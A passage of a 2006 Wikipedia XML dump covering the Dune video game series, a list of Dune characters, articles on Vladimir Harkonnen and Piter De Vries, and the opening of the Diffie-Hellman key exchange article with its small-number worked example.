While not the first [[real-time strategy]] game, per se (the first being [[Stonkers]]), Dune II established a format that would be followed for years to come. As such, Dune II is considered the founder (or simply &quot;the daddy&quot;) of the [[real-time strategy|RTS]] genre. Striking a balance between complexity and innovation, it was a huge success and laid the foundation for the coming [[Command and Conquer]] (which was nicknamed &quot;Dune III&quot; by fans and detractors alike), [[Warcraft]], and the RTS craze that endures to this day.

The player takes the role of a commander of one of three interplanetary houses, the [[House Atreides|Atreides]], the [[House Harkonnen|Harkonnen]] or the [[House Ordos|Ordos]], with the objective of wresting control of [[Arrakis]] from the two other houses. The basic strategy in the game is to harvest the [[melange|spice]] from the treacherous sand dunes, convert the spice into spendable credits via a harvester and refinery and to build military combat units with these acquired credits in order to fend off and destroy the enemy.  In addition to enemy incursions, the player must also deal with periodic appearances of the [[sandworm (Dune)|sandworm]], capable of swallowing vehicles and infantry whole, as well as and harsh weather conditions that can deteriorate the structures of the player's base.

==Dune 2000==
{{Infobox CVG| title = Dune 2000
|image = [[Image:Dune 2000 (Game).jpg|240px]]
|developer = [[Westwood Studios]]
|publisher = [[Virgin Interactive]]
|released = [[1998]]
|genre = [[Strategy game]]
|modes = [[Single Player]]
|platforms = [[MS-DOS]]
}}
Using a game engine which resembles Westwood's ''[[Red Alert (computer game)|Red Alert]]'', ''Dune 2000'' is a remake of ''Dune 2''. The story, told with animations and subtitles in the original Dune 2, is now told with [[full motion video]] starring actors such as [[John Rhys-Davies]]. The game was criticised by some for not adding enough fresh content, and for an inferior interface compared to its competitors &amp;mdash; most notably ''[[Total Annihilation]]''. The storyline, though, has improved markedly as did the triggers in-game with excellent twists to the gameplay. The game also tidied its graphics to incorporate 16-bit graphics as well as incorporating a later patch with new units for multiplay. Despite all these enhancements, the game suffered from poor AI behaviour as well as poor waypointing which has quickly become crucial in fast and furious online multiplayer games.

==Emperor: Battle for Dune==
{{Infobox CVG| title = Emperor: Battle for Dune
|image = [[Image:EmperorScreenshot.jpg|240px]]
|developer = [[Westwood Studios]]
|publisher = [[EA Games]]
|released = [[2001]]
|genre = [[Strategy game]]
|modes = [[Single Player]], [[Multiplayer]]
|platforms = [[Microsoft Windows]]
}}

{{details|Emperor: Battle for Dune}}
While having an interface similar to the ''[[Command and Conquer]]'' series, it added enough features - such as a [[Game engine|3D engine]] and in-battle reinforcements - to provide an interesting change of pace. Features of note are the fairly non-linear campaign, featuring randomized events, and the fast pace relative to the earlier Dune games. The three Houses also featured new units in their ranks, with new abilities.

Criticisms of the game are not as much as that of its predecessor, Dune 2000 but it still suffered from poor AI with the computer controlled player attacking the human player with a similar strategy that can be predicted and thereafter countered effectively. Further, the game's bad AI includes a lack of combining units of different abilities as the missions cannot be won by building only a particular type of combat unit.

Like Dune 2000, the game featured all new full-motion video cutscenes, somewhat based more on the original movie. The most notable inclusions were those of the roles of the Duke Achillus of [[House Atreides]] being played by ''[[Star Trek]]'''s [[Michael Dorn]].

==Frank Herbert's Dune==
([[Cryo Interactive]], [[2001]])

[[Image:FH Dune Game.jpg|thumb|right|240px|&quot;Frank Herbert's Dune&quot; PC game by Cryo Interactive (2001)]]

Based on the [[Sci Fi Channel|Sci-Fi Channel]] TV Series, ''Frank Herbert's Dune'' was an effort to create a 3D action game in the [[Dune (novel)|Dune]] universe. The game was not a commercial or critical success, and was the last product by Cryo Interactive. The studio went bankrupt shortly after the game flopped.

As Paul, the son of the Duke Atreides's concubine and heir to the throne, you must earn the trust and respect from the natives of the planet Dune, the Fremen, to ultimately become their propehsied Messiah, Muad'Dib. You will have to free them from the desolate conditions their home planet is in. Done that, there still is the evil Lord Harkonnen, who, with covert backup from the Emperor, slaughtered your family.

The story behind each mission is accurate to the world of the novels although they took place during the Two Year span in Dune where Paul gains the Fremen's trust.

Some concepts of the gameplay were innovative. Such as the use of a Life Gauge and a Water Gauge, when the Life Gauge is empty you die but health can be restored at any point before that by drinking Water. This meant that the player had to time his drinks carefully to coincide with when he could next gain another drink.  Another interesting concept was that if the player was able to stealthily sneak up on an enemy and attack him unawares, not only would he be dispatched without using any ammunition or taking any damage, but the player would also steal some of his water. Unfortunately this led to an incredibly steep learning curve which made an already awkward to play game almost impossible in some sections.

==Dune Generations==

[[Image:Dune_generations_screenshot.jpg|thumb|right|240px|&quot;Dune Generations&quot; by CryoNetworks (2001)]]
[[Image:Dune_generations_logo.gif|left|120px|Dune Generations Logo]]

[[Cryo_Interactive|Cryonetworks]] in 2001 revealed Dune Generations, its upcoming online real-time strategy game based on Frank Herbert's classic sci-fi novel series. The company launched an official Web site for the upcoming game that features some concept images, a brief background story and description of the persistent gameworld, and a list of frequently asked questions. Dune Generations was scheduled for release at the end of 2001.

Dune Generations will let players assume control of a dynasty in the Dune universe. The goal of the game is to build the dynasty into the most powerful family in the universe and gain control of the planet Arrakis, the source of the most precious substance in the universe: spice. Players can choose to control one of three types of dynasties--traders, soldiers, or mercenaries--and each dynasty type provides a different playing experience.

At the beginning of 2002 Cryo's closure was announced, due to a failure to negotiate a deal with the company's creditors. Cryo was the publisher behind the upcoming massively multiplayer online sci-fi role-playing game Dune Generations. A number of other Cryo games have been published in North America through a partnership with Canada-based DreamCatcher Interactive.

*[http://www.gamespot.com/pc/strategy/dunegenerations/news.html?sid=2766761 Dune Generations Q&amp;A] at Gamespot.com
*[http://www.thedune.ru/cgi-bin/ccc/counter.pl?dunegen/video/dunegenerations.avi Dune Generations trailer] at Thedune.ru (6MB)

==External links==
*[http://www.mobygames.com/game_group/sheet/gameGroupId,17/ MobyGames' entry on the ''Dune'' series]
*[http://www.mobygames.com/game_group/sheet/gameGroupId,656/ MobyGames' entry on the ''Dune II'' series]
*[http://www.ocremix.org/game/188/ Unofficial arrangements (ReMixes) of Dune's soundtrack] at [[OverClocked ReMix]]
*[http://dune2k.com/ FED2k]
*[http://www.the-underdogs.org/game.php?name=Dune ''Dune''] at [[Home of the Underdogs]]

[[Category:Real-time strategy computer games]]
[[Category:1998 computer and video games]]
[[Category:2001 computer and video games]]
[[Category:DOS games]]
[[Category:Dune universe media]]
[[de:Dune (Computerspiel)]]
[[he:Dune (משחק מחשב)]]
[[nl:Dune (computerspel)]]
[[sv:Dune (datorspel)]]
[[zh:沙丘2000]]</text>
    </revision>
  </page>
  <page>
    <title>List of characters from Dune</title>
    <id>7900</id>
    <revision>
      <id>40988038</id>
      <timestamp>2006-02-24T08:33:05Z</timestamp>
      <contributor>
        <username>Psyfred23</username>
        <id>984129</id>
      </contributor>
      <comment>/* [[Rossak Sorceresses]] */</comment>
      <text xml:space="preserve">[[fr:Personnages de Dune]]
This is a list of characters from the fictional '''''Dune''''' universe, created originally by [[Frank Herbert]] with his [[Dune]] novels. In recent years, his son, [[Brian Herbert]] and [[Kevin J. Anderson]] have added two prequel trilogies.

This article provides links to many of the main characters in the ''Dune'' universe.  They are grouped by primary allegiances.  In some cases these allegiances change or reveal themselves to be different throughout the novels.

=== [[House Atreides]] ===
* [[Vorian Atreides]], the founder of the house, son of the [[Titan_(Dune)|Titan]] [[Agamemnon_(Dune)|Agamemnon]].
* [[Duke Paulus Atreides]], Father of Leto I
* [[Duke Leto Atreides]], head of [[House Atreides]]
* [[Jessica Atreides|Lady Jessica]], [[Bene Gesserit]] and concubine of the Duke.  Mother of Paul and Alia
* [[Paul Atreides]], the Duke's son
* [[Alia Atreides]], Paul's younger sister
* [[Leto II|Leto Atriedes II]], Paul's son and twin brother of Ghanima
* [[Ghanima Atreides]], Paul's daughter and twin sister of Leto II
* [[Thufir Hawat]], [[mentat]] and Master of Assassins to House Atreides
* [[Gurney Halleck]], staunchly loyal troubadour warrior of the Atreides
* [[Duncan Idaho]], Sword Master for House Atreides
* Dr. [[Wellington Yueh]], [[Suk doctor]] for the Atreides

=== [[House Harkonnen]] ===
* [[Xavier Harkonnen]], military leader during the [[Butlerian Jihad]]
* [[Abulurd Harkonnen]], grandson of Xavier
* [[Baron Vladimir Harkonnen]], head of House Harkonnen
* [[Piter De Vries]], twisted [[mentat]]
* [[Feyd-Rautha]], nephew of the Baron
* [[Glossu Rabban|Glossu 'Beast' Rabban]], older nephew of the Baron

=== [[House Corrino]] ===
* [[Irulan Corrino]], Princess.
* [[Faykan Corrino]], founder of the Corrino Empire
* '''Shaddam I'''
* [[Elrood IX]], father of Shaddam IV
* [[Shaddam IV]], the Padishah Emperor of the Known Universe
* Lady Anirul Corrino, Bene Gesserit wife of Shaddam IV
* [[Pardot Kynes]], first Imperial Planetologist on Arrakis
* [[Liet-Kynes]], Imperial Planetologist on [[Arrakis]]
* Count [[Hasimir Fenring]], the Emperor's closest friend and advisor (not a Corrino per se)

=== [[House Moritani]] ([[Grumman (Dune) |Grumman]]) ===
* Viscount Hundro Moritani
* Lupino Ord, Ambassador of Grumman
* Hiih Resser
* Trin Kronos

=== [[Bene Gesserit]] ===
*[[Raquella Berto-Anirul]], founder of the Bene Gesserit
*[[Reverend Mother (Dune)|Reverend Mother]] [[Gaius Helen Mohiam]], the Emperor's [[Truthsayer]].
*[[Odrade]]
*Taraza
*Bellonda
*Sheeana
*[[Miles Teg]]

=== [[Bene Tleilaxu]] ===
*[[Scytale (Dune)|Scytale]]
*[[Ajidica]]

=== [[House Vernius (Ix)]] ===
*[[Dominic Vernius]], Earl of House Vernius
*[[Rhombur Vernius]], Son of Dominic, Cyborg ruler of Ix
*[[Kailea Vernius]], Rhombur's sister
*Cammar Pilru, ambassador of Ix
*[[C'tair Pilru]], son of Cammar
*[[D'murr Pilru]], son of Cammar and Navigator for the [[Spacing Guild]]
*[[Malky]]
*[[Hwi Noree]]

=== [[Spacing Guild]] ===
*[[Edric (Dune)|Edric]]
*[[Norma Cenva]], inventor of foldspace technology, first navigator
*[[Aurelius Venport]], founder of VenKee enterprises, the ancestor of the Guild
*[[D'Murr Pilru]], Guild navigator, twin brother of C'tair of Ix

=== [[Honoured Matres]] ===
*Dama
*Logno
*[[Murbella]]

=== [[Fremen]] ===
* [[Selim Wormrider]], leader of Zensunni outlaws on Arrakis
* [[Naib Ishmael]], leader of the Zensunni Free-Men, successor to the legend of Selim
* [[Chani]], Paul's Fremen concubine
* Jamis, killed by Paul
* Warrick, best friend of liet kynes
* Shadout Mapes, housekeeper for the royal family of [[Arrakis]]
* [[Stilgar]], Fremen Naib
* Sayadina Ramallo

=== [[Rossak Sorceresses]] ===
* [[Zufa Cenva]], mother of norma
* Ticia Cenva, sister of norma

=== [[Ginaz]] ===
* [[Jool-Noret]], legendary Ginaz mercenary
* Istian Goss, received spirit of Noret
* Nar Trig
* Jammo Reed
* Jeh-Wu
* Mord Cour
* Rivvy Dinari
* Whitmore Bludd

=== [[Butlers]] ===
* Manion Butler Sr., Father of Serena
* [[Serena Butler]], Priestess of the Jihad
* [[Manion Butler]], Manion the Innocent, martyred infant of Serena
* Octa Butler
* Wandra Butler, dauther of abulurd harkonnen
* Quentin Butler
* [[Faykan Butler]], became [[Faykan Corrino]]
* Abulurd Butler, became [[Abulurd Harkonnen]]
* Rikov Butler
* [[Rayna Butler]], founder of the [[Cult of Serena]]

=== [[Titans and Cymeks]] === 
(Links are directed to the original person or character for which they were named )
* [[Agamemnon (Dune)|Agamemnon]]
* [[Telamonian Aias|Ajax]]
* [[Alexander]]
* [[Artemis]]
* [[Barbarossa]]
* [[Caesar (Dune)|Caesar]]
* [[Cleopatra]]
* [[Cortez]]
* [[Dante]]
* [[Genji]]
* [[Hecate]]
* [[Ivan]]
* [[Juno]]
* [[Kublai]]
* [[Moctezuma]]
* [[Olga]]
* [[Shaka]]
* [[Tamerlane]]
* [[Tlaloc]]
* [[Xerxes]]
* [[Beowulf]]
* [[Quentin Butler]]
* [[Evan]]

=== [[Thinking Machines]] ===
* [[Omnius]], Evermind/head of the machines
* [[Erasmus (Dune) |Erasmus]]
* [[Seurat (Dune) |Seurat]], co-pilot to Vorian Atreides
* [[Chirox]], reprogrammed by humans, used as a trainer on Ginaz

==See also==
*[[Dune (novel)]]
*The [[Bene Gesserit]]
*The [[Bene Tleilaxu]]

[[Category:Dune characters]]
[[Category:Lists of fictional characters|Dune]]</text>
    </revision>
  </page>
  <page>
    <title>Vladimir Harkonnen</title>
    <id>7901</id>
    <revision>
      <id>41042264</id>
      <timestamp>2006-02-24T17:59:34Z</timestamp>
      <contributor>
        <username>Thatcher131</username>
        <id>903149</id>
      </contributor>
      <text xml:space="preserve">[[Image:Vladimirharkonnen.jpg|thumb|210px|right|Baron Vladimir Harkonnen, portrayed by [[Ian McNeice]] in the [[Sci-Fi Channel]]'s [[Dune (miniseries)|''Dune'' miniseries]]]]

'''Vladimir Harkonnen''' is a [[fictional character]] from the [[science fiction]] series ''[[Dune (novel)|Dune]]''.

{{spoiler}}

Born in the year 10,110 after the foundation of the [[Spacing Guild]]. His father served as head to the [[House Harkonnen]] and as Siridar (planetary governor) and [[Baron]] of the [[planet]] [[Giedi Prime]]. Vladimir was trained since youth as a possible successor to him. Vladimir presumably proved to be the most promising candidate as he was eventually chosen over his younger half-brother [[Abulurd Harkonnen]].

Abulurd eventually married into [[House Rabban]] and renounced the name Harkonnen and his rights to the title. Under the name [[Abulard Harkonnen|Abulurd Rabban]] he reigned as [[Count]] and governor of planet [[Lankiveil]]. Vladimir was uncle to his sons: [[Glossu Rabban]] (year 10,132 - 10,193), nicknamed Beast Rabban, and [[Feyd-Rautha]] Rabban (year 10,174 - 10,193). Vladimir later adopted them back into House Harkonnen and the latter became his designated heir as Feyd-Rautha Harkonnen.

Vladimir never married and his homosexuality was additionally something of an open secret. This, however, did not prevent at least two sexual encounters with a [[Bene Gesserit]] [[Reverend Mother]], [[Gaius Helen Mohiam]], . Blackmailed into supporting their elaborate and covert breeding program, the Baron was forced to father an offspring which was to be raised on the Bene Gesserit homeworld of Wallach IX. Ironically, this child would later become the Lady [[Jessica Atreides]]. Thus, the Baron Harkonnen was also a biological ancestor of Paul Atreides and his line, including the God Emperor Leto II. 

Vladimir was a skillful, if ruthless, [[politician]] with an apparent talent for manipulating people and events towards his chosen ends. During his reign the House Harkonnen progressively gained in both wealth and power. His major sources of wealth were his dominance in the [[whale]] [[fur]] [[market]] and his control of the [[Melange]]-producing  [[planet]] [[Arrakis]].
The Baron was able to [[finance]] elaborate political schemes that further added to his power. For several years he was assisted by the [[sadist]]ic [[mentat]] [[Piter De Vries]]. Much of his success at political maneuvering was due to a ruse that he was rash and overtly brutal, using such overtures to mask his subtler primary plots.

The Baron's most prominent political rival was his distant cousin [[Leto Atreides]], head of  [[House Atreides]] and [[Duke]] of [[planet]] [[Caladan]]. The true heritage of the Duke's consort, Lady Jessica, was unknown by either. In year 10,176, his grandson [[Paul Atreides]] was born.

In year 10,191, Vladimir was apparently contacted by [[Shaddam Corrino IV]], 81st [[Emperor]] of [[House Corrino]] with the proposal of an alliance against the Duke. Vladimir was content in accepting, although uncertain of the Emperor's motivation. 

Leto was pressured to surrender Caladan to Vladimir and receive Arrakis instead. He complied, though he sent a small invasion force, really no more than a raid, against Geidi Prime. 

Shortly after this, a much larger invasion force arrived on Arrakis, consisting of both [[Sardaukar]] and Harkonnen forces. The Sardaukar were disguised by Harkonnen uniforms, so that outsiders would not recognize the hand of the Emperor in destroying Duke Leto. The Duke had not yet had time to establish a solid presence on Arrakis, and soon most of the Duke's [[army]] was slain. 

The Baron Harkonnen was known for his creativity.  This showed itself in the war against the Duke Leto, when the Harkonnen soldiers fought the Atreides at one point with old-fashioned explosive [[artillery]].  While artillery and [[firearms]] were generally worthless against the [[Holtzman effect]] '''shields''' that were commonplace in the Empire, shields were not used on Arrakis and the Baron calculated that the Atreides soldiers would retreat to caves.  The artillery sealed them in, causing the Atreides soldiers to die by the thousands of suffocation and starvation.  This tactic greatly reduced Harkonnen and Sardaukar casualties. It is not known if the Baron had studied the ancient history of humankind, but the Baron's re-introduction of a weapon that was obsolete since the days of Old Earth helped him achieve a crushing victory. 

Vladimir had arranged for the Duke to be taken prisoner by Dr. [[Wellington Yueh]], his own [[physician]]. But Yueh had personal reasons to hate Vladimir. A [[tooth]] of the captive was filled with [[poison]]ous [[gas]] intended to kill him and those around him. The Baron survived Yueh's  [[assassination]] attempt but Piter De Vries did not. He was replaced with [[Thufir Hawat]], [[Mentat]] to the deceased Duke, under duress. Vladimir apparently managed to convince Hawat that they could join forces against the Emperor.

The following two years saw Vladimir becoming increasingly aware that both of his nephews were conspiring against him to obtain the Baron's throne. The Baron let them continue to do so, reasoning that they had to somehow learn to organize a [[conspiracy]]. However as punishment for a failed [[assassination]] attempt against him, Vladimir forced Feyd-Rautha to single-handedly slaughter all the female [[Slavery|slave]]s who served as his [[lover]]s, while the Baron watched. He explained that Feyd-Rautha had to learn the price of failure.

By year 10,193, the [[Fremen]] of [[Arrakis]] had managed to gain a series of victories against Beast Rabban and to capture most of the territory of the planet, which threatened to disrupt the trade of [[Melange]]. The Emperor decided to take control of the situation and arrived on Arrakis along with ten legions of Sardaukar forces. Vladimir and Feyd-Rautha escorted him with a vastly larger Harkonnen army, made up mostly of conscripts but also containing seasoned Harkonnen troops.

Vladimir was shocked to learn that Paul Atreides led the Fremen. The imperial forces fell prey to a surprise attack by the Fremen. Part of the Fremen/Atreides strategy was to wait until a sandstorm shorted out the force field shields of the Harkonnen/Imperial transport ships, disable them with projectile weapons, and then attack with a vast assault force, using Sandworms under cover of the severe weather to break the enemy lines.  The Sardaukar and Harkonnen forces were trapped on the planet, astonished at the Sandworm mounts and vast numbers of their attackers, and their past ruthlessness gave them little hope of quarter from the enraged Fremen. 

Beast [[Rabban]] died in the initial part of the battle. The Harkonnen army was massacred to the last man, almost all the 300,000 Imperial Sardaukar died, and Vladimir was poisoned by [[Alia Atreides]], his own granddaughter, and took his last breath at the age of 83. Feyd-Rautha was killed by Paul in a duel. The death of the three men and the massacre meant the end of [[House Harkonnen]] as a galactic power. But, since grandson Paul subsequently was named emperor, Vladimir's descendants would long reign as the Imperial [[House Atreides]].

The Baron's story does not end with his death however. Paul's sister [[Alia Atreides|Alia]] was born with her ancestral memories in the womb, a circumstance the [[Bene Gesserit]] call [[abomination]], because in their experience it is inevitable that the individual will become possessed by one of their ancestors. Alia falls victim to this prediction and initially shares control of her body with the Baron, gradually falling under his power. At the end of [[Children of Dune]] Alia commits suicide, in part because she realizes the Baron has virtually surpassed her abilities to contain him.


== Appearance ==

Frank Herbert's representation of the Baron Harkonnen portrays him as an imposing, powerful man. His eyes are described as &quot;spider-like&quot; and his voice a deep, rumbling basso with a style of dress often including a flowing robe and a collection of rings adorning large hands. The original explanation for his excessive weight was simply attributed to overindulgence. This was later retconned by Brian Herbert and Kevin J. Anderson in their first prequel trilogy, explaining that the Baron was once an exceedingly handsome young man, possessing a near-perfect physique. In this version, his bodily deterioration is said to be the result of a rare disease caused by Jessica's mother, a Bene Gesserit named Gaius Helen Mohiam, in punishment for the Baron's actions leading to her pregnancy. After which, his physique began to slowly atrophy into the obese one. In Dune: House Harkonnen, he at first walked with the assistance of a cane, then relied on belt-mounted suspensors to retain mobility. He tried to force Mohiam to reveal the means to reverse the disease, but doesn't succeed, for the affliction was uncurable. In all instances, he displays extreme intelligence and carries an air of ruthless cruelty. 

In David Lynch's 1984 box-office flop, he was played by Kenneth McMillan. In addition to being grotesquely overweight, he was shown to be covered in large, black pustules which required constant draining and treatment. He is further displayed as a raving lunatic, screaming and laughing incoherently at any given moment and going so far as to drink the blood of a servant after removing a &quot;heart plug.&quot; None of these features are ever mentioned or assumed in the book and are admittedly attributed to Lynch's inspiration from [[Star Wars]] character [[Jabba the Hutt]] who had appeared in [[Return of the Jedi]] the year before. Lynch had previously turned down the offer to direct Jedi in favor of Dune.

The latest incarnation of this character appeared in a 2000 miniseries produced by the Sci-Fi Channel. Perhaps in attempt to move from McMillan's portrayal, the Baron is played by British actor [[Ian McNeice]] and is given a much lighter tone. While still said to possess the ruthlessness of Herbert's creation, he is nonetheless shown to be somewhat effeminate in nature. Among the most frequently cited criticisms are his overly flamboyant robes, his lack of vocal command, and a tendency to speak in rhyming verse (iambic pentameter) at the close of each scene, considered ridiculous by many fans. Nevertheless, this portrayal is generally thought to be far closer to Herbert's creation and is considered an improvement over his previous film depiction.

==External links==

*[http://sslx.orl.szote.u-szeged.hu/timelines/duchro.html A timeline of the Dune Universe]

[[Category:Dune characters|Harkonnen, Vladimir]]
[[Category:Film villains|Harkonnen]]
[[Category:Literature villains|Harkonnen]]

[[fr:Vladimir Harkonnen]]</text>
    </revision>
  </page>
  <page>
    <title>Piter De Vries</title>
    <id>7902</id>
    <revision>
      <id>41515484</id>
      <timestamp>2006-02-27T21:57:30Z</timestamp>
      <contributor>
        <ip>128.119.106.115</ip>
      </contributor>
      <comment>/* Personality */</comment>
      <text xml:space="preserve">'''Piter De Vries''' is a [[fictional character]] from [[Frank Herbert]]'s [[Dune (novel)|Dune]] [[science fiction]] series. 

{{spoiler}}

== History ==
Piter was a &quot;twisted&quot; [[mentat]] in the service of Baron [[Vladimir Harkonnen]]. This mentat was a particular favorite of the Baron because the [[Tleilaxu]] had made his amoral character obvious through his [[sadistic]] nature and role as torturer for the Baron.

== Personality ==
Piter's loyalty to his master is unusual in that he continues to serve the Baron with great enthusiasm, even though his Mentat abilities and great intelligence confirm Piter's suspicions that his master plans to eventually kill him. This twisted mentat is more sadistic and cruel than most. 

Note: De Vries pioneered a type of poison called &quot;residual toxin&quot; , which remains in one's body for years.  One such fatal poison was used by Baron Harkonnen on [[Thufir Hawat]], in order to keep the Mentat's allegiance by being the only provider of the antidote (which only stays the effects of the poison, and does not remove it from the body).

== More information ==
Piter is generally regarded as architect of the plan to destroy the Harkonnen's long-time enemy, [[House Atreides]], while returning the Baron's stewardship over [[Arrakis]].  Piter died on Arrakis shortly after House Harkonnen's troops and Imperial [[Sardaukar]] had captured Duke [[Leto Atreides]]. He was killed by Leto, who had been given a false tooth by [[Wellington Yueh]], the Suk doctor who betrayed House Atreides. When the tooth was crushed, a poisonous gas was released. The attack was meant to kill the Baron, but failed.

Unknown to most, there are actually two ghola-mentats who assume this identity in the Dune universe. The original Piter De Vries was secretly killed by Reverend Mother [[Gaius Helen Mohiam]], as depicted in [[Dune: House Corrino]]. This occurred after the mentat discovered the Harkonnen heritage of Lady Jessica and newly born Paul Atreides, attempting to kidnap the infant as ransom. Mohiam effectively preserved this secret by murdering De Vries and arranging for his corpse to be shipped home to [[Giedi Prime]]. An enraged Baron was left with no choice but to order a duplicate from the Bene Tleilax, who would become the mentat popularly featured in Herbert's original [[Dune (novel)|Dune]]. This has caused some consternation among many who cite inconsistencies between the prequel and original series. However, both versions of this character continue to be popular among casual and die-hard fans alike.

In [[David Lynch]]'s Dune [[Dune (film)|film]], Piter was played by [[Brad Dourif]].

[[Category:Dune characters|De Vries, Piter]]

[[fr:Piter De Vries]]</text>
    </revision>
  </page>
  <page>
    <title>Diffie-Hellman key exchange</title>
    <id>7903</id>
    <revision>
      <id>42075857</id>
      <timestamp>2006-03-03T17:34:32Z</timestamp>
      <contributor>
        <username>Arvindn</username>
        <id>823</id>
      </contributor>
      <comment>in·se·cure ''adj.'' 2. Inadequately guarded or protected; unsafe: A shortage of military police made the air base insecure.</comment>
      <text xml:space="preserve">'''Diffie-Hellman key exchange''' is a [[cryptographic protocol]] which allows two parties that have no prior knowledge of each other to jointly establish a shared secret [[key (cryptography)|key]] over an insecure [[communication]]s channel. This key can then be used to encrypt subsequent communications using a [[symmetric key]] [[cipher]].

Synonyms of Diffie-Hellman key exchange include:
*'''Diffie-Hellman key agreement'''
*'''Diffie-Hellman key establishment'''
*'''Diffie-Hellman key negotiation'''
*'''exponential key exchange'''

The scheme was first published publicly by [[Whitfield Diffie]] and [[Martin Hellman]] in [[1976]], although it later emerged that it had been discovered a few years earlier within [[GCHQ]], the British signals intelligence agency, by [[Malcolm J. Williamson]] but was kept classified. In [[2002]], Hellman suggested the algorithm be called '''Diffie-Hellman-Merkle key exchange''' in recognition of [[Ralph Merkle]]'s contribution to the invention of [[public-key cryptography]] (Hellman, 2002).

Although Diffie-Hellman key agreement itself is an ''anonymous'' (non-''authenticated'') [[key agreement]] protocol, it provides the basis for a variety of authenticated protocols, and is used to provide [[perfect forward secrecy]] in [[Transport Layer Security|TLS]]'s ephemeral modes.

==History of the protocol==
Diffie-Hellman key agreement was invented in [[1976]] during a collaboration between Whitfield Diffie and Martin Hellman and was the first practical method for establishing a shared secret over an unprotected communications channel. [[Ralph Merkle]]'s work on public key distribution was an influence.  [[John Gill (cryptographer)|John Gill]] suggested application of the [[discrete logarithm]] problem.  It had been discovered by Malcolm Williamson of [[GCHQ]] in the [[United Kingdom|UK]] some years previously, but GCHQ chose not make it public until [[1997]], by which time it had no influence on research in [[academia]].

The method was followed shortly afterwards by [[RSA]], another implementation of public key cryptography using [[Public-key cryptography|asymmetric algorithms]].

In [[2002]], Martin Hellman wrote:
:&quot;''The system...has since become known as Diffie-Hellman key exchange.  While that system was first described in a paper by Diffie and me, it is a public key distribution system, a concept developed by Merkle, and hence should be called 'Diffie-Hellman-Merkle key exchange' if names are to be associated with it.  I hope this small pulpit might help in that endeavor to recognize Merkle's equal contribution to the invention of public key cryptography.''&quot; [http://www.comsoc.org/livepubs/ci1/public/anniv/pdfs/hellman.pdf]

{{US patent|4,200,770}}, now expired, describes the algorithm and credits Hellman, Diffie, and Merkle as inventors.

==Description==
The simplest, and original, implementation of the protocol uses the [[multiplicative]] [[group (mathematics)|group]] of integers modulo ''p'', where ''p'' is [[prime number|prime]] and ''g'' is [[primitive root modulo n|primitive]] mod ''p''.  Modulo (or mod) simply means that the integers between 1 and ''p'' &amp;minus; 1 are used with normal multiplication, exponentiation and division, except that after each operation the result keeps only the remainder after dividing by ''p''.  Here is an example of the protocol:
{| border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;border: gray solid 1px; border-collapse: collapse;&quot;
| align=&quot;center&quot; colspan=&quot;3&quot; | '''Alice'''
|-
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | Sec 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; | 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot;  | Calc
|-
| align=&quot;center&quot; |
| align=&quot;center&quot; | '''p, g'''
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | '''a'''
| align=&quot;center&quot; | 
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | 
| align=&quot;center&quot; | 
| align=&quot;center&quot; | '''g&lt;sup&gt;a&lt;/sup&gt;''' mod p
|-
| align=&quot;center&quot; |
| align=&quot;center&quot; | …
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | 
| align=&quot;center&quot; | ('''g&lt;sup&gt;b&lt;/sup&gt;''' mod p)&lt;sup&gt;'''a'''&lt;/sup&gt; mod p
| align=&quot;center&quot; |
|}
| valign=&quot;bottom&quot; |
{| border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;5&quot;
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | '''&lt;math&gt;\rightarrow&lt;/math&gt;'''
|-
| align=&quot;center&quot; | '''&lt;math&gt;\leftarrow&lt;/math&gt;'''
|-
| align=&quot;center&quot; | '''='''
|}
|
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;border: gray solid 1px; border-collapse: collapse;&quot;
| align=&quot;center&quot; colspan=&quot;3&quot; | '''Bob'''
|-
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot;  | Calc
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; | 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot;  | Sec
|-
| align=&quot;center&quot; |
| align=&quot;center&quot; | '''p, g'''
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; |
| align=&quot;center&quot; | 
| align=&quot;center&quot; | '''b'''
|-
| align=&quot;center&quot; | 
| align=&quot;center&quot; | …
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | '''g&lt;sup&gt;b'''&lt;/sup&gt; mod p
| align=&quot;center&quot; | 
| align=&quot;center&quot; |
|-
| align=&quot;center&quot; | 
| align=&quot;center&quot; | ('''g&lt;sup&gt;a&lt;/sup&gt;''' mod p)&lt;sup&gt;'''b'''&lt;/sup&gt; mod p
| align=&quot;center&quot; |
|}
|
# [[Alice and Bob]] agree to use a prime number ''p''=23 and base ''g''=5.
# Alice chooses a secret integer ''a''=6, then sends Bob (''g&lt;sup&gt;a&lt;/sup&gt;'' mod ''p'')
#*5&lt;sup&gt;6&lt;/sup&gt; mod 23 = 8.
# Bob chooses a secret integer ''b''=15, then sends Alice (''g&lt;sup&gt;b&lt;/sup&gt;'' mod p)
#*5&lt;sup&gt;15&lt;/sup&gt; mod 23 = 19.
# Alice computes (''g&lt;sup&gt;b&lt;/sup&gt;'' mod ''p'')&lt;sup&gt;''a''&lt;/sup&gt; mod ''p''
#*19&lt;sup&gt;6&lt;/sup&gt; mod 23 = 2.
# Bob computes (''g&lt;sup&gt;a&lt;/sup&gt;'' mod ''p'')&lt;sup&gt;''b''&lt;/sup&gt; mod ''p''
#*8&lt;sup&gt;15&lt;/sup&gt; mod 23 = 2.
|}
